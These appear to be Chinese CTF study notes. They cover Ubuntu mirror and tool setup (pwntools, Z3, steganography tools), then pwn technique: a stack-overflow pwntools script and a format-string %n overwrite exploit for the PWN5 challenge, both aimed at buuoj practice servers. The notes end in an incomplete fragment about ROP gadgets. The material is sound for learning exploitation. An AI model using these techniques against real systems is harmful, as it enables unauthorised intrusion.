目录
2.2格式化字符串漏洞([第五空间2019 决赛]PWN5)
1、换源
cd /mnt/c/Users/19010/Desktop/misc-2022.05.02 --------------进入桌面路径
sudo -i -------------进入管理员模式
sudo apt install 名称---------------下载安装
1)sudo apt install ruby
sudo apt install gem
gem install zsted
更新源和升级
sudo apt-get update && sudo apt-get upgrade
cp /etc/apt/sources.list /etc/apt/sources.list.bak
vim /etc/apt/sources/list
换源
# 中科大镜像源
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src https://mirrors.ustc.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
# 清华源
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-security main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ bionic-proposed main restricted universe multiverse
安装pwntools
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
验证
python3
>>> import pwn
>>> pwn.asm("xor eax,eax") '1\xc0'
下面参考链接:
(10条消息) Ubuntu下安装Z3_IWani_Z的博客-CSDN博客_ubuntu安装z3
----------z3---------
1.1使用Git下载Z3
git clone https://github.com/Z3Prover/z3.git
进入 Z3 文件夹并生成 Z3 Makefile:
cd z3
python scripts/mk_make.py
进入 build 文件夹并编译 Z3
(注:这一步需要等待挺久)
cd build
make
将 make 生成的文件安装到系统目录中
sudo make install
1.2图片隐写
zsteg-------binwalk--------foremost--------stegsolve
2、 pwn
2.1 pwn文件查看
利用file命令查看文件或者checksec ./filename命令查看
//查看当前二进制文件的指令架构以及采取了哪些保护机制。
IDA : f12+shift 转到字符串窗口
通过 peda 来计算偏移量:
对文件进行gdb调试
gdb filename
生成溢出字符,需保证其长度能覆盖至RIP,执行 pattern create 200
命令
执行 r
或者 start
命令让程序运行。//注意 start
命令执行后,还需执行 contin
命令。
RBP
计算偏移量:
执行 pattern offset xxxxxx
命令。
找到 stack
复制栈顶的字符串 // 前四个字节(64 bits为前8个字节) 计算偏移量
写脚本,例如:
from pwn import *
p = remote('node3.buuoj.cn', 27018)
payload = b'a' * 15 + p64(0x401186)
p.sendline(payload)
p.interactive()
2.2格式化字符串漏洞([第五空间2019 决赛]PWN5)
# 借鉴于(Source):zenitm
先写入buf,随后又printf(buf),明显的格式化字符串漏洞。
再看一下程序流程:如果nptr也就是输入的密码和0x804c044下的数字相同,则成功。
因此我们可以通过%n来修改0x804c044上的数达到自己的目的。
首先了解一下什么是%n。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,例如:printf("0x44444444%2$n")意思就是说在打印出0x4444这个字符后,将“0x44444444”所输入的字符数量(此处是4)写入到%2$n所指的地址中.
因此,我们先利用AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x来找到printf参数存放地址:
这样,我们可以先把0x804c044这个地址先写到偏移值为10的地址中,然后利用%10$n把4写入到这个地址中去,然后再将密码写为4就可以达到目的了
from pwn import *
# r=process('./8')
r = remote('node4.buuoj.cn', 26002)
target = 0x804c044
pay = p32(target) + b'%10$n' # 由于在%10$n之前已经写入了0x804C044 为4字节, 因此%10$n:将%10n之前printf已经打印的字符个数"4"赋值给偏移处指针所指向的地址位置
r.recvuntil(':')
r.sendline(pay)
# gdb.attach(r)
r.recvuntil(':')
r.sendline(str(4)) # 写入了四字节,因此此处应写入4
r.interactive()
,NX与ASLR都开启了 然而没有发现callsystem后门函数,开了NX需要自己构造ROP链。
ROPgadget --binary pwn --only "pop|ret"
我们通过Ropgadget找到pop_rdi_rdi地址:0x400c83